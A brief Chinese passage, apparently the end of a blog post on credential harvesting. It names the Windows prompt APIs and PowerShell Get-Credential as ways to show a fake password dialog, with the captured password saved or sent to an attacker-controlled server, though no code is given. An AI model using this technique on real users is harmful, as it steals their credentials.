另外:这里使用的函数是
CredUIPromptForCredentialsW
,但作者推荐的使用CredUIPromptForWindowsCredentialsA
如果编译请选择C++ 桌面应用模板
在powershell中使用
Get-Credential
可以达到同样的效果。
弹出一个提示框,用以让用户输入密码,可以选择将其保存为文件或者通过网络发送至控制的服务器(这部分代码没有写明)。
略,这部分笔者暂时未成功复现。至此凭据收集暂告一段落。
原文:https://wuhash.com